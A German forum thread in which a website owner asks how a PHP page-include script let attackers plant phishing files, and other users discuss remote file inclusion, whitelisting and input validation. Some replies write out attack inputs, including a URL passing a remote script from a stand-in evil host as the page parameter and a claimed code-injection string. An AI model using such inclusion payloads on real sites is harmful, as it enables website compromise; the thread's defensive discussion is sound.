Phishingangriff aufgrund PHP-INCLUDE zum Opfer gefallen

C.Schwab

Finkenwerder Herbstprinz
Registriert
24.06.07
Beiträge
466
Hey Leute,

Mein Provider hat mir eine Mail geschrieben, inder mich auf einen Phishingangriff hingewiesen wurde. Es wurden also unerwünschte fremde Dateien auf meinen Webspace geladen.

Als EInfallstor nannte mein Provider meine PHP-Seite, in die verschiedene Inhaltsseiten per Browser include. Daraufhin habe ich anstatt "include" den Befehl "readfile" verwendet, da ich keine dynamischen Seiten einbinde. Ist die Gefahr jetzt gebannt? (Ich habe übrigens ein Array eingestellt, sodass man nur bestimmte Seiten includen kann - wie es trotzdem zum Angriff gekommen ist kann ich mir nicht erklären)

So sieht mein Include jetzt aus:

Code:
<?php
 $tpage = '/' . $page . '.php';
    $page = basename($_GET['page']);
    
    $seiten = array("home", "uebermich", "kontakt", "impressum", "stuff", "links") ;
    
?>

<?php if(in_array($page, $seiten))

        {



     [B]readfile [/B][COLOR=Red](vorher include)[/COLOR]($page.'.php') ;
 

        }
        

    else

        {

            echo 'Die Seite kann nicht gefunden werden.' ;

        }
 ; ?>

Danke für eure Hilfe.
 

Chu

Martini
Registriert
15.06.07
Beiträge
658
hm wie kann man über include eine andere datei laden.. dachte das wäre serverseitig Oo

bitte um Aufklärung :)
 

C.Schwab

Finkenwerder Herbstprinz
Registriert
24.06.07
Beiträge
466

Slashwalker

Winterbanana
Registriert
15.05.06
Beiträge
2.213
Ja, das denke ich auch. Meine Frage ist nun, ob das mit "readfile" Geschichte ist...?

Probier es einfach mal aus. Lade irgendwo eine Datei kontakt.php hoch und versuch

www.deineseite.de?page=http://www.anderer-server.de/kontakt.php

Dann siehst du ja, was passiert.

Ich würde zudem mit mod_rewrite arbeiten, falls dein Webspace auf Apache läuft und dieses Modul unterstützt.

Da kannst du URLs umschreiben. Aus www.deineseite.de?page=home wird dann www.deineseite.de/home/ somit wird wenigstens ein bisschen verschleiert, wie die Variable heisst, die übergeben wird.
 

tjp

Altgelds Küchenapfel
Registriert
07.07.04
Beiträge
4.057
Als Einfallstor nannte mein Provider meine PHP-Seite, in die verschiedene Inhaltsseiten per Browser include. Daraufhin habe ich anstatt "include" den Befehl "readfile" verwendet, da ich keine dynamischen Seiten einbinde. Ist die Gefahr jetzt gebannt?
Du hast ein Designfehler in Deinem Code: Man darf sich niemals auf Eingaben der Nutzer verlassen! Das Problem ist nicht das Include, sondern die Tatsache, daß Du bei Deinem Include Code direkt aus dem Get übernimmst! Das darf man niemals tun. Richtig gemacht hat der Nutzer eine Auswahl die man z.B. durchnummeriert und dann im Server wieder in Seiten übersetzt. So der Angreifer nur eine Nummer schicken, für die es im Zweifelsfall keine Seite bei Dir gibt.
 

.holger

Borowitzky
Registriert
13.09.04
Beiträge
8.970
Es ist sogar noch viel mehr möglich:


exploits_of_a_mom.png

http://xkcd.com/327/

Immer dran denken: all incoming data is evil!
 

Tekl

Fairs Vortrefflicher
Registriert
01.06.05
Beiträge
4.630
Du hast ein Designfehler in Deinem Code: Man darf sich niemals auf Eingaben der Nutzer verlassen! Das Problem ist nicht das Include, sondern die Tatsache, daß Du bei Deinem Include Code direkt aus dem Get übernimmst! Das darf man niemals tun. Richtig gemacht hat der Nutzer eine Auswahl die man z.B. durchnummeriert und dann im Server wieder in Seiten übersetzt. So der Angreifer nur eine Nummer schicken, für die es im Zweifelsfall keine Seite bei Dir gibt.

Aber das macht er doch gar nicht. Was über GET reinkommt wird doch mit if(in_array($page, $seiten)) verifiziert. Oder habe ich da jetzt was falsch verstanden?
 

tjp

Altgelds Küchenapfel
Registriert
07.07.04
Beiträge
4.057
Oder habe ich da jetzt was falsch verstanden?
Das Grundproblem ist, daß er das jetzt überprüft, aber sich immer noch nicht davon verabschiedet hat grundsätzlich auf die Übernahme von externen Daten zu verzichten. Man muß sich das angewöhnen, so daß man grundsätzlich keine Daten übernimmt, wenn dies nicht absolut notwendig ist. Da es sich hier um eine Auswahl handelt ist es nicht notwendig.

Es gibt da auch die Spezies die meine, daß man Nutzereingaben mittels JavaScript Code validieren könnte. Das ist natürlich Quatsch. Die Validierung muß auf dem Server erfolgen, falls man JavaScript Code auf der Clientseite verwendet, ist das nur ein Komfortmerkmal aber keine Sicherheitsmaßnahme.
 
  • Like
Reaktionen: Bananenbieger

C.Schwab

Finkenwerder Herbstprinz
Registriert
24.06.07
Beiträge
466
Hey tjp - was du sagst hört sich gruselig an. Könntest du mir ein sicheres Codebeispiel geben ?! Ich weiß nicht wie ich die Sache angehen soll. Danke im voraus.
 

Tekl

Fairs Vortrefflicher
Registriert
01.06.05
Beiträge
4.630
Das Grundproblem ist, daß er das jetzt überprüft, aber sich immer noch nicht davon verabschiedet hat grundsätzlich auf die Übernahme von externen Daten zu verzichten. Man muß sich das angewöhnen, so daß man grundsätzlich keine Daten übernimmt, wenn dies nicht absolut notwendig ist. Da es sich hier um eine Auswahl handelt ist es nicht notwendig.

Und wie soll man dann unterschiedliche Inhalte dynamisch ausliefern, ohne abzufragen, was in der URL angegeben ist? Verzichtet man auf diese 'externen Daten', wird die Sache doch wieder nutzlos.
 

Bananenbieger

Golden Noble
Registriert
14.08.05
Beiträge
25.515
tjp meinte damit auch eher, dass man nur notwendige externen Daten übernehmen soll.

Und die Daten, die von Extern kommen, sollten in jedem Falle überprüft und sanitized werden. Wenn ich externe Daten einlese, dann validiere ich als erstes, ob
a) die Daten vom Typ sind, den ich erwarte (in Integern haben Buchstaben nichts zu suchen)
b) keine bösen Zeichen enthalten sind (bzw. die bösen Zeichen escapen) und das Format wie erwartet ist

Damit ist man schon mal auf der relativ sicheren Seite.
 

.holger

Borowitzky
Registriert
13.09.04
Beiträge
8.970
Aber das macht er doch gar nicht. Was über GET reinkommt wird doch mit if(in_array($page, $seiten)) verifiziert. Oder habe ich da jetzt was falsch verstanden?

Du übergibst "$page", also index.php?page=foo oder?

dann übergibt mal

page=));echo"moinmoin";if(in_array(home,

Nicht getestet, sollte aber so hinhauen. Statt dem echo "moin moin" kann man natürlich auch bösen code dort hineinbringen..... und dann war's das mit Deiner Seite.
 

Bananenbieger

Golden Noble
Registriert
14.08.05
Beiträge
25.515
dann übergibt mal

page=));echo"moinmoin";if(in_array(home,
Ne, das ist kein Problem. Das wird dann ja zu $page='page=));echo"moinmoin";if(in_array(home,'
Code innerhalb eines Strings wird ja nicht automatisch ausgeführt (da müsste man schon ein eval() irgendwo finden. SQL-Injections hingegen funktionieren deshalb, weil ein String als Query ausgeführt wird).

Bei PHP wird häufig versucht, über in ein include eine fremde URL zu injecten, z.B. include($page), wobei für $page http://boeserserver.de/boesesskript.php verwendet wird. Der Code der fremden URL wird dann ganz brav von php ausgeführt.
 

C.Schwab

Finkenwerder Herbstprinz
Registriert
24.06.07
Beiträge
466
Was ist denn jetzt euer Tipp an mich für speziell meinen Code ... ?

"page=));echo"moinmoin";if(in_array(home," dürfte eigentlich nicht funktionieren, und funktioniert auch nicht, da dann automatisch "Die Seite kann nicht angezeigt werden" ausgegeben wird, da die Eingabe nicht mit den Arrays übereinstimmt, deswegen frage ich mich ja auch wie genau fremder Code übergeben werden konnte, obwohl ich doch Arrays habe, in denen steht wie die Pages heißen dürfen, die includet werden.
 

Tekl

Fairs Vortrefflicher
Registriert
01.06.05
Beiträge
4.630
Was tut das Register_Globals zur Sache? Man kann damit ja nicht im Nachhinein noch Variablen ändern.
 

Bananenbieger

Golden Noble
Registriert
14.08.05
Beiträge
25.515
Ich gehe davon aus, dass nicht das komplette Script gepostet wurde, weil es
a) sinnfrei ist (warum dieses Konstrukt und nicht einfach direkt mit passenden PHP-Files arbeiten?)
b) $tpage sicher für etwas verwendet wird und ?> <? mitten im Script auch völlig unnütz sind.

Also denke ich mir, dass da noch Möglichkeiten bestehen, dass man Code so injecten kann, dass sich das Array $seiten im Script nach der initierung noch ändern kann.


Sofern meine Annahmen falsch sind, hast Du natürlich recht!
 
Zuletzt bearbeitet:

ma.buso

Châtaigne du Léman
Registriert
16.04.05
Beiträge
820
Wie wär's mal mit einem Blick in die Logfiles? So ließe sich doch eroieren, mit welcher Abfrage der Angriff ausgeführt wurde. Was wiederum direkt zur Schwachstelle führen sollte.